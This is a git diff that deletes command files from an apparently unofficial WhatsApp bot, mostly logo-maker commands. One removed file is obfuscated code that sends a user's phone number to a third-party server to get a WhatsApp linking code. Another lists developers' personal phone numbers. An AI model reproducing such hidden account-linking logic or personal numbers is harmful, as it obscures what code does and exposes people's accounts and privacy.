- // var idImg = Object.values(imgInfo)[3];
-
- await zk.sendMessage(dest, { image: { url: imgInfo.image }, caption: "* \t Logo by Bmw-Md*" }, { quoted: ms });
- }
- catch (e) {
- repondre("🥵🥵 " + e);
- }
-});
-////////////////////////////
-adams({ nomCom: "naruto", categorie: "Logo", reaction: "⛩" }, async (dest, zk, commandeOptions) => {
- let { ms, arg, repondre, prefixe } = commandeOptions;
- try {
- if (!arg || arg == '') {
- repondre("*_Exemple : * " + prefixe + "naruto ibrahim");
- return;
- }
- var nar = "https://en.ephoto360.com/naruto-shippuden-logo-style-text-effect-online-808.html";
- //let img= await //mumaker.textpro('https://textpro.me/create-naruto-logo-style-text-effect-online-1125.html',arg);
- repondre("*traitement en cours...*");
- var radio2 = "e0723d60-fc0d-421f-bf8f-a9b9b61e4be6";
- var img = await mumaker.ephoto("https://en.ephoto360.com/naruto-shippuden-logo-style-text-effect-online-808.html", arg.join(' '));
-
- await zk.sendMessage(dest, { image: { url: img.image }, caption: "\t\t *Logo by Bmw-md*" }, { quoted: ms });
- }
- catch (e) {
- repondre("🥵🥵 " + e);
- }
-});
-//didong
-/*zokou({ nomCom: "didong", categorie: "Logo", reaction: "📱" }, async (dest, zk, commandeOptions) => {
- let { ms, repondre, arg, prefixe } = commandeOptions;
-
- var titre = "\t logo by Bmw-Md";
- try {
- var lien = "https://ephoto360.com/tao-anh-che-vui-tu-choi-cuoc-goi-voi-ten-cua-ban-930.html";
- if (!arg || arg == "") {
- repondre(`*exemple :* ${prefixe}didong Zokou`)
- return ;
- }
- console.log(typeof arg[0])
- var maker = mumaker.ephoto(lien, "arg");
- var lienImg = Object.values(maker)[1];
- await zk.sendMessage(dest, { image: { url: lienImg }, caption: titre });
- }
- catch (e) {
- repondre("🥵🥵 " + e);
- }
-});
-*/
-
-
-adams({ nomCom: "didong", categorie: "Logo", reaction: "📱" }, async (dest, zk, commandeOptions) => {
- let { arg, repondre, prefixe, ms } = commandeOptions;
- try {
- var titre = "\t* logo by Bmw-Md*";
- var lien = "https://ephoto360.com/tao-anh-che-vui-tu-choi-cuoc-goi-voi-ten-cua-ban-930.html";
- if (!arg || arg == "") {
- repondre(`*exemple :* ${prefixe}didong ibrahim adams`)
- return ;
- }
-
- var maker =await mumaker.ephoto(lien,arg.join(' '));
-
-
- repondre('*processing...*')
- await zk.sendMessage(dest, { image: { url: maker.image}, caption: titre });
- }
- catch (e) {
- repondre("🥵🥵 " + e);
- }
- }
-);
-
-
-adams({nomCom : "wall",categorie : "Logo",reaction : "👍"} , async (dest,zk,commandeOptions) =>{
-
- const {arg,repondre,ms,prefixe} = commandeOptions;
- if(!arg[0]) { repondre( `Exemple of using commande:\n ${prefixe}wall BMW-MD` ); return ;}
- let text = arg.join(" ")
- mumaker.textpro("https://textpro.me/break-wall-text-effect-871.html", text)
-.then((data) =>{
- zk.sendMessage(dest,{image : { url : data.image},caption : 'Logo by'},{quoted:ms})
-})
-.catch(console.log)
-})
-
-;
-adams({nomCom: "summer", categorie: "Logo", reaction: "🌞"}, async (dest, zk, commandeOptions) => {
- const { arg, repondre, ms, prefixe } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}summer My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/create-sunset-light-text-effects-online-for-free-1124.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by' }, { quoted: ms });
- })
- .catch(console.error);
-});
-
-adams({nomCom: "neonlight", categorie: "Logo", reaction: "💡"}, async (dest, zk, commandeOptions) => {
- const { arg, repondre, ms, prefixe } = commandeOptions;
- /*if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}neonlight My text`);
- return;
- }*/
- if(!arg ||arg=="")
- {
- repondre(`Exemple of using commande:\n ${prefixe}neonlight My text`);
- return;
- }
-
- const text = arg.join(" ");
- try{
-
- let maker=await mumaker.textpro("https://textpro.me/create-glowing-neon-light-text-effect-online-free-1061.html",arg)
- //repondre(stringify(maker))
- /*.then((data) => {*/
- zk.sendMessage(dest, { image: { url: maker.image }, caption: 'Logo by Bmw-md' }, { quoted: ms });
-
- /*.catch(console.error);*/
-
-
-}catch(e){repondre("🥵🥵 "+e)}
-
-});
-
-adams({nomCom: "greenneon", categorie: "Logo", reaction: "🟢"}, async (dest, zk, commandeOptions) => {
- const { arg, repondre, ms, prefixe } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}greenneon My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/green-neon-text-effect-874.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by' }, { quoted: ms });
- })
- .catch(console.error);
-});
-
-adams({nomCom: "glitch", categorie: "Logo", reaction: "🎛️"}, async (dest, zk, commandeOptions) => {
- const { arg, repondre, ms, prefixe } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}glitch My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/create-impressive-glitch-text-effects-online-1027.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch(console.error);
-});
-
-adams({nomCom: "devil", categorie: "Logo", reaction: "😈"}, async (dest, zk, commandeOptions) => {
- const { arg, repondre, ms, prefixe } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}devil My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/create-neon-devil-wings-text-effect-online-free-1014.html",arg)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch(console.error);
-});
-////////////////////
-adams(
- {nomCom:"boom",categorie:
- "Logo",reaction:"💥"},async(dest,zk,commandeOptions)=>{
-
- let {ms,repondre,prefixe,arg}=commandeOptions;
-
- if(!arg||arg=="")
- {
-
- repondre(` Exemple :* ${prefixe}boom Beltah`)
- return ;
- }
- try{
- var radio2 = "e0723d60-fc0d-421f-bf8f-a9b9b61e4be6";
- let radio = "984dd03e-220d-4335-a6ba-7ac56b092240";
-var lien="https://en.ephoto360.com/boom-text-comic-style-text-effect-675.html";
- console.log(arg)
- var img =await mumaker.ephoto(lien,arg)
-
- //var idImg = Object.values(img)[3];
- // var lienImage = "https://e1.yotools.net/" + idImg;
-
- /* let radio = "984dd03e-220d-4335-a6ba-7ac56b092240";
- var v="https://en.ephoto360.com/boom-text-comic-style-text-effect-675.html";
- var c="https://en.ephoto360.com/create-anonymous-hacker-avatars-cyan-neon-677.html"
- let anu = await mumaker.ephoto4(v, arg, radio);
- let res = Object.values(anu)[3];*/
- // console.log("&€"+res);
- // let lien = "https://e1.yotools.net" + res;
-
-
-repondre(" processing ...")
- await zk.sendMessage(dest,{image:{url:img.image},caption:"\t *Logo by bmw-Md*"})
-
- // await zk.sendMessage(dest,{image:{url:lienImage},caption:"\t *Logo by Bmw-Md*"})
-
-
-
- }catch(e){repondre("🥵🥵 "+e)}
-
- }
-)
-//water
-adams({nomCom:"water",categorie:"Logo",reation:"💦"},async(dest,zk,commandeOptions)=>{
-
-
-var {ms,repondre,arg,prefixe}=commandeOptions;
- if(!arg||arg=="")
- {
- repondre(`${prefixe}water zokou`)
- return;
- }
- try{
- var lien ="https://en.ephoto360.com/create-water-effect-text-online-295.html";
- var img =await mumaker.ephoto(lien,arg);
- repondre(" processing ...")
- await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bmw-Md*"})
- }catch(e){repondre(`🥵🥵 ${e}`)}
-
-});
-
-adams({ nomCom: "snow", categorie: "Logo", reaction: "❄️" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}Snow My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/create-beautiful-3d-snow-text-effect-online-1101.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-adams({ nomCom: "transformer", categorie: "Logo", reaction: "🤖" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}Transformer My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/create-a-transformer-text-effect-online-1035.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-adams({ nomCom: "thunder", categorie: "Logo", reaction: "⚡" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}Thunder My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/online-thunder-text-effect-generator-1031.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-adams({ nomCom: "harrypotter", categorie: "Logo", reaction: "🧙♂️" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}HarryPotter My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/create-harry-potter-text-effect-online-1025.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-adams({ nomCom: "cat", categorie: "Logo", reaction: "🪟" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}FoggyWindow My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/write-text-on-foggy-window-online-free-1015.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-
-
-adams({ nomCom: "whitegold", categorie: "Logo", reaction: "💫" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}WhiteGold My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/elegant-white-gold-3d-text-effect-online-free-1070.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-adams({ nomCom: "lightglow", categorie: "Logo", reaction: "🌟" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}LightGlow My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/create-light-glow-sliced-text-effect-online-1068.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-adams({ nomCom: "thor", categorie: "Logo", reaction: "🔨" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}Thor My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/create-thor-logo-style-text-effect-online-1064.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-adams({ nomCom: "neon", categorie: "Logo", reaction: "💡" }, async (dest, zk, commandeOptions) => {
- const { arg, ms, prefixe,repondre } = commandeOptions;
- if (!arg[0]) {
- repondre(`Exemple of using commande:\n ${prefixe}Neon My text`);
- return;
- }
-
- const text = arg.join(" ");
- mumaker.textpro("https://textpro.me/neon-text-effect-online-879.html", text)
- .then((data) => {
- zk.sendMessage(dest, { image: { url: data.image }, caption: 'Logo by bmw-md' }, { quoted: ms });
- })
- .catch((err) => {
- console.error("Une erreur s'est produite :", err);
- });
-});
-
-
-
-adams({nomCom:"purple",categorie:"Logo",reaction:"🧳"},async(dest,zk,commandeOptions)=>{
- var {ms,repondre,prefixe,arg}=commandeOptions;
-
- try{
- if(!arg||arg=="")
- {
- repondre(prefixe+"purple zokou");return;}
- const lien="https://en.ephoto360.com/purple-text-effect-online-100.html"
- var img = await mumaker.ephoto(lien,arg);
- repondre(" processing ...")
- await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bmw-MD*"});
- }catch(e){repondre(e)}
-
-})
-
-adams({nomCom:"gold",categorie:"Logo",reaction:"🧚🏿♀️"},async(dest,zk,commandeOptions)=>{
-
-
- let {ms,arg,prefixe,repondre}=commandeOptions;
- try{
- if(!arg||arg=="")
- {
- repondre(prefixe+"gold Bmw-MD");return;
- }
-
- var lien="https://en.ephoto360.com/modern-gold-4-213.html";
-
- var img = await mumaker.ephoto(lien,arg);
- repondre("processing ...")
- await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bwm-Md*"},{quoted:ms})
- }catch(e){repondre(e)}
-})
-
-
-adams({nomCom:"arena",categorie:"Logo",reaction:"🥵"},async(dest,zk,commandeOptions)=>{
-
-
- let {ms,arg,prefixe,repondre}=commandeOptions;
- try{
- if(!arg||arg=="")
- {
- repondre(prefixe+"arena Bmw-MD");return;
- }
-
- var lien="https://en.ephoto360.com/create-cover-arena-of-valor-by-mastering-360.html";
-
- var img = await mumaker.ephoto(lien,arg.join(' '));
- repondre("processing ...")
- await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bwm-Md*"},{quoted:ms})
- }catch(e){repondre(e)}
-})
-
-adams({nomCom:"incandescent",categorie:"Logo",reaction:"😋"},async(dest,zk,commandeOptions)=>{
-
-
- let {ms,arg,prefixe,repondre}=commandeOptions;
- try{
- if(!arg||arg=="")
- {
- repondre(prefixe+"incandescent Bmw-MD");return;
- }
-
- var lien="https://en.ephoto360.com/text-effects-incandescent-bulbs-219.html";
-
- var img = await mumaker.ephoto(lien,arg.join(' '));
- repondre("processing ...")
- await zk.sendMessage(dest,{image:{url:img.image},caption:" *Logo by Bmw-Md*"},{quoted:ms})
- }catch(e){repondre(e)}
-})
diff --git a/scs/bmwbut.js b/scs/bmwbut.js
deleted file mode 100644
index a95af47..0000000
--- a/scs/bmwbut.js
+++ /dev/null
@@ -1,2 +0,0 @@
-function _0x234a(_0x3bb2ff,_0x3a4ce0){const _0x528b7c=_0x528b();return _0x234a=function(_0x234a91,_0x38596a){_0x234a91=_0x234a91-0x15a;let _0x5d9489=_0x528b7c[_0x234a91];return _0x5d9489;},_0x234a(_0x3bb2ff,_0x3a4ce0);}const _0x4ec482=_0x234a;function _0x528b(){const _0x53ffcc=['NativeFlowMessage','https://www.youtube.com/@ibrahimaitech','https://ibraah-adams-432q.onrender.com/code?number=','10XIZehv','245356mOPdzL','cta_url','https://github.com/devibraah/BWM-XMD','26168XKmTtg','stringify','Body','741846iTYVZW','https://bmw-md-web-by-ibrahim.vercel.app/','⭕\x20FOLLOW\x20WACHANNEL','25830MXrvEh','473298aXsMKV','ibraah1','Analyzing\x20ibraah\x20info.....','☕\x20BUY\x20ME\x20A\x20COFFEE','message','1344393nswWCB','axios','get','User','Header','ibraah','🎬\x20MOVIES','462arEgsY','*\x0a│\x20ᴅᴇᴠ:\x20*sɪʀ\x20ɪʙʀᴀʜɪᴍ*\x0a╰─────═━┈┈━═──━┈⊷','\x20*Made\x20by\x20Ibrahim\x20Adams*','Error\x20getting\x20response\x20from\x20Api.','create','💢\x20YOUTUBE','https://t.me/ibrahimtechai','Footer','30CxWEOu','InteractiveMessage','https://t.me/ibraahadams','😎\x20CONTACT\x20ME','\x0a╭─────═━┈┈━═──━┈⊷\x0a│\x20ʙᴏᴛ\x20ɴᴀᴍᴇ:\x20*ʙᴍᴡ\x20ᴍᴅ*\x0a│\x20ᴠᴇʀꜱɪᴏɴ:\x20*7.1.8*\x0a│\x20ᴄʏᴘ:\x20*','../Ibrahim/traduction','https://ibrahim-adams.vercel.app','relayMessage','Error\x20getting\x20Api\x20response:','https://www.instagram.com/ibrahimadamstech','🌍\x20INSTAGRAM','📂\x20REPO','code','Message','Invalid\x20response\x20from\x20Api.','../Ibrahim/adams','length','Type\x20.ibraah\x201','50709gLQJJN','@whiskeysockets/baileys','Type\x20*.ibraah\x201*'];_0x528b=function(){return _0x53ffcc;};return _0x528b();}(function(_0x3b5468,_0x1245a4){const _0x368d34=_0x234a,_0x11dc8b=_0x3b5468();while(!![]){try{const _0x69edaa=-parseInt(_0x368d34(0x180))/0x1+parseInt(_0x368d34(0x190))/0x2+-parseInt(_0x368d34(0x18d))/0x3+-parseInt(_0x368d34(0x187))/0x4*(-parseInt(_0x368d34(0x186))/0x5)+parseInt(_0x368d34(0x15a))/0x6+-parseInt(_0x368d34(0x166))/0x7*(parseInt(_0x368d34(0x18a))/0x8)+-parseInt(_0x368d34(0x15f))/0x9*(-parseInt(_0x368d34(0x16e))/0xa);if(_0x69edaa===_0x1245a4)break;else _0x11dc8b['push'](_0x11dc8b['shift']());}catch(_0x304015){_0x11dc8b['push'](_0x11dc8b['shift']());}}}(_0x528b,0x244fa));const {adams}=require(_0x4ec482(0x17d)),traduire=require(_0x4ec482(0x173)),{default:axios}=require(_0x4ec482(0x160)),pkg=require(_0x4ec482(0x181)),{generateWAMessageFromContent,proto}=pkg;adams({'nomCom':_0x4ec482(0x164),'reaction':'😎','categorie':_0x4ec482(0x162)},async(_0x2b1f8a,_0x18719b,_0x386863)=>{const _0x391b37=_0x4ec482,{repondre:_0x27fe92,arg:_0x5b0c50,ms:_0x44fdc3}=_0x386863;try{if(!_0x5b0c50||_0x5b0c50[_0x391b37(0x17e)]===0x0)return _0x27fe92('Type\x20*.ibraah\x201*');await _0x27fe92(_0x391b37(0x15c));const _0x4c5d12=encodeURIComponent(_0x5b0c50['join']('\x20')),_0x550e56=_0x391b37(0x185)+_0x4c5d12,_0x4c5f43=await axios[_0x391b37(0x161)](_0x550e56),_0x5cce19=_0x4c5f43['data'];if(_0x5cce19&&_0x5cce19['code']){const _0x24391b=_0x5cce19[_0x391b37(0x17a)],_0x19707b=_0x391b37(0x172)+_0x24391b+_0x391b37(0x167),_0x3d18c3=[{'name':'cta_url','buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'🌍\x20BMW\x20WEB','url':_0x391b37(0x18e)})},{'name':'cta_url','buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'✅\x20SESSION','url':_0x391b37(0x174)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x179),'url':_0x391b37(0x189)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON['stringify']({'display_text':_0x391b37(0x15d),'url':_0x391b37(0x189)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'🌍\x20INSTAGRAM','url':_0x391b37(0x177)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x16b),'url':_0x391b37(0x184)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x165),'url':_0x391b37(0x16c)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':'😎\x20CONTACT\x20ME','url':_0x391b37(0x170)})},{'name':_0x391b37(0x188),'buttonParamsJson':JSON[_0x391b37(0x18b)]({'display_text':_0x391b37(0x18f),'url':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y'})}],_0x5d65ae=generateWAMessageFromContent(_0x2b1f8a,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x391b37(0x17b)]['InteractiveMessage'][_0x391b37(0x16a)]({'body':proto[_0x391b37(0x17b)][_0x391b37(0x16f)][_0x391b37(0x18c)][_0x391b37(0x16a)]({'text':_0x19707b}),'footer':proto['Message'][_0x391b37(0x16f)][_0x391b37(0x16d)][_0x391b37(0x16a)]({'text':_0x391b37(0x168)}),'header':proto[_0x391b37(0x17b)][_0x391b37(0x16f)][_0x391b37(0x163)][_0x391b37(0x16a)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x391b37(0x17b)][_0x391b37(0x16f)]['NativeFlowMessage'][_0x391b37(0x16a)]({'buttons':_0x3d18c3})})}}},{});await _0x18719b[_0x391b37(0x175)](_0x2b1f8a,_0x5d65ae[_0x391b37(0x15e)],{'messageId':_0x5d65ae['key']['id']});}else throw new Error(_0x391b37(0x17c));}catch(_0x4f61ec){console['error'](_0x391b37(0x176),_0x4f61ec[_0x391b37(0x15e)]),_0x27fe92(_0x391b37(0x169));}}),adams({'nomCom':_0x4ec482(0x15b),'reaction':'🚘','categorie':_0x4ec482(0x162)},async(_0x2552bb,_0x1e6649,_0x1a20fe)=>{const _0x5792e1=_0x4ec482,{repondre:_0x3c48b,arg:_0x426199,ms:_0x53da5a}=_0x1a20fe;try{if(!_0x426199||_0x426199[_0x5792e1(0x17e)]===0x0)return _0x3c48b(_0x5792e1(0x182));await _0x3c48b(_0x5792e1(0x15c));const _0x4a3b71=encodeURIComponent(_0x426199['join']('\x20')),_0x149caa=_0x5792e1(0x185)+_0x4a3b71,_0x4994bf=await axios[_0x5792e1(0x161)](_0x149caa),_0x58e8cd=_0x4994bf['data'];if(_0x58e8cd&&_0x58e8cd[_0x5792e1(0x17a)]){const _0xdc7547=_0x58e8cd[_0x5792e1(0x17a)],_0x774441=_0x5792e1(0x172)+_0xdc7547+_0x5792e1(0x167),_0x5d157c=[{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':'🌍\x20BMW\x20WEB','url':_0x5792e1(0x18e)})},{'name':'cta_url','buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':'✅\x20SESSION','url':_0x5792e1(0x174)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x179),'url':_0x5792e1(0x189)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x15d),'url':_0x5792e1(0x189)})},{'name':'cta_url','buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x178),'url':_0x5792e1(0x177)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x16b),'url':_0x5792e1(0x184)})},{'name':'cta_url','buttonParamsJson':JSON[_0x5792e1(0x18b)]({'display_text':_0x5792e1(0x165),'url':_0x5792e1(0x16c)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON['stringify']({'display_text':_0x5792e1(0x171),'url':_0x5792e1(0x170)})},{'name':_0x5792e1(0x188),'buttonParamsJson':JSON['stringify']({'display_text':_0x5792e1(0x18f),'url':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y'})}],_0x4ba821=generateWAMessageFromContent(_0x2552bb,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x5792e1(0x17b)][_0x5792e1(0x16f)]['create']({'body':proto['Message']['InteractiveMessage'][_0x5792e1(0x18c)][_0x5792e1(0x16a)]({'text':_0x774441}),'footer':proto[_0x5792e1(0x17b)]['InteractiveMessage'][_0x5792e1(0x16d)]['create']({'text':'\x20*Made\x20by\x20Ibrahim\x20Adams*'}),'header':proto[_0x5792e1(0x17b)][_0x5792e1(0x16f)][_0x5792e1(0x163)][_0x5792e1(0x16a)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x5792e1(0x17b)]['InteractiveMessage'][_0x5792e1(0x183)]['create']({'buttons':_0x5d157c})})}}},{});await _0x1e6649['relayMessage'](_0x2552bb,_0x4ba821['message'],{'messageId':_0x4ba821['key']['id']});}else throw new Error(_0x5792e1(0x17f));}catch(_0x1ff971){console['error'](_0x5792e1(0x17f),_0x1ff971[_0x5792e1(0x15e)]),_0x3c48b(_0x5792e1(0x17f));}});
-
diff --git a/scs/bmwbutton.js b/scs/bmwbutton.js
deleted file mode 100644
index b28b04f..0000000
--- a/scs/bmwbutton.js
+++ /dev/null
@@ -1,3 +0,0 @@
-
-
-
diff --git a/scs/bmwc.js b/scs/bmwc.js
deleted file mode 100644
index 00a7fc3..0000000
--- a/scs/bmwc.js
+++ /dev/null
@@ -1,103 +0,0 @@
-
-
-const { adams } = require("../Ibrahim/adams");
-const {getAllSudoNumbers,isSudoTableNotEmpty} = require("../lib/sudo")
-const conf = require("../config");
-
-adams({ nomCom: "owner", categorie: "General", reaction: "🚘" }, async (dest, zk, commandeOptions) => {
- const { ms , mybotpic } = commandeOptions;
-
- const thsudo = await isSudoTableNotEmpty()
-
- if (thsudo) {
- let msg = `*My Super-User*\n
- *Owner Number*\n :
-- 🌟 @${conf.NUMERO_OWNER}
-
------- *other sudos* -----\n`
-
- let sudos = await getAllSudoNumbers()
-
- for ( const sudo of sudos) {
- if (sudo) { // Vérification plus stricte pour éliminer les valeurs vides ou indéfinies
- sudonumero = sudo.replace(/[^0-9]/g, '');
- msg += `- 💼 @${sudonumero}\n`;
- } else {return}
-
- } const ownerjid = conf.NUMERO_OWNER.replace(/[^0-9]/g) + "@s.whatsapp.net";
- const mentionedJid = sudos.concat([ownerjid])
- console.log(sudos);
- console.log(mentionedJid)
- zk.sendMessage(
- dest,
- {
- image : { url : mybotpic() },
- caption : msg,
- mentions : mentionedJid
- }
- )
- } else {
- const vcard =
- 'BEGIN:VCARD\n' + // metadata of the contact card
- 'VERSION:3.0\n' +
- 'FN:' + conf.OWNER_NAME + '\n' + // full name
- 'ORG:undefined;\n' + // the organization of the contact
- 'TEL;type=CELL;type=VOICE;waid=' + conf.NUMERO_OWNER + ':+' + conf.NUMERO_OWNER + '\n' + // WhatsApp ID + phone number
- 'END:VCARD';
- zk.sendMessage(dest, {
- contacts: {
- displayName: conf.OWNER_NAME,
- contacts: [{ vcard }],
- },
- },{quoted:ms});
- }
-});
-
-adams({ nomCom: "dev", categorie: "General", reaction: "🚘" }, async (dest, zk, commandeOptions) => {
- const { ms, mybotpic } = commandeOptions;
-
- const devs = [
- { nom: "Ibrahim", numero: "254710772666" },
- { nom: "᚛Baraka᚜", numero: "255762190568" },
- { nom: "Beltah", numero: "254114141192" },
- // Ajoute d'autres développeurs ici avec leur nom et numéro
- ];
-
- let message = "WELCOME TO BMW HELP CENTER! ASK FOR HELP FROM ANY OF THE DEVELOPERS BELOW:\n\n";
- for (const dev of devs) {
- message += `----------------\n• ${dev.nom} : https://wa.me/${dev.numero}\n`;
- }
- var lien = mybotpic()
- if (lien.match(/\.(mp4|gif)$/i)) {
- try {
- zk.sendMessage(dest, { video: { url: lien }, caption:message }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-// Vérification pour .jpeg ou .png
-else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
- try {
- zk.sendMessage(dest, { image: { url: lien }, caption:message }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-else {
- repondre(lien)
- repondre("link error");
-
-}
-});
-
-adams({ nomCom: "support", categorie: "General" }, async (dest, zk, commandeOptions) => {
- const { ms, repondre, auteurMessage, } = commandeOptions;
-
- repondre("THANK YOU FOR CHOOSING BMW, HERE ARE OUR SUPPORTIVE LINKS\n\n ☉ CHANNEL LINK IS HERE ☉ \n\n❒[https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y] \n\n ☉ GROUP LINK IS HERE ☉\n\n❒[https://chat.whatsapp.com/F5BXJci8EDS9AJ6sfKMXIS] \n\n ☉YOUTUBE LINK IS HERE ☉\n\n❒[https://www.youtube.com/@ibrahimaitech] \n\n\n𝑪𝒓𝒆𝒂𝒕𝒆𝒅 𝒃𝒚 𝑰𝒃𝒓𝒂𝒉𝒊𝒎 𝑨𝒅𝒂𝒎𝒔")
- await zk.sendMessage(auteurMessage,{text : `THANK YOU FOR CHOOSING BMW-MD,MAKE SURE YOU FOLLOW THESE LINKS. `},{quoted :ms})
-
-})
diff --git a/scs/bmwca.js b/scs/bmwca.js
deleted file mode 100644
index 9fdacfe..0000000
--- a/scs/bmwca.js
+++ /dev/null
@@ -1,71 +0,0 @@
-const { adams } = require("../Ibrahim/adams");
-const canvacord = require("canvacord");
-const {uploadImageToImgur} = require("../Ibrahim/imgur")
-
-
-// Generic function to create a canvacord order
